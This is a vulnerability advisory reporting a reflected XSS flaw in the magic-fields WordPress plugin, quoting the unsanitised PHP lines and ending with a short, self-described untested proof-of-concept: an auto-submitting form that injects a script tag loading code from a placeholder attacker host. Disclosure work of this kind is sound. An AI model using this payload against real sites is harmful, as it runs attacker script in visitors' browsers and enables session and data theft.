Advisory #: 1243
Title: Reflected XSS in wordpress plugin magic-fields v1.6.3.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/magic-fields
Downloads: 118015
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: magic-fields
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./magic-fields/RCCWP_upload.php: 150: if( par.getElementById('<?php echo $_POST['imageThumbID']; ?>') ) 152: par.getElementById('<?php echo $_POST['imageThumbID']; ?>').src = "<?php echo $newImagePath;?>"; The variable imageThumbID appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./magic-fields/RCCWP_upload.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/magic-fields/RCCWP_upload.php method=post> <input type=hidden name=imageThumbID value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>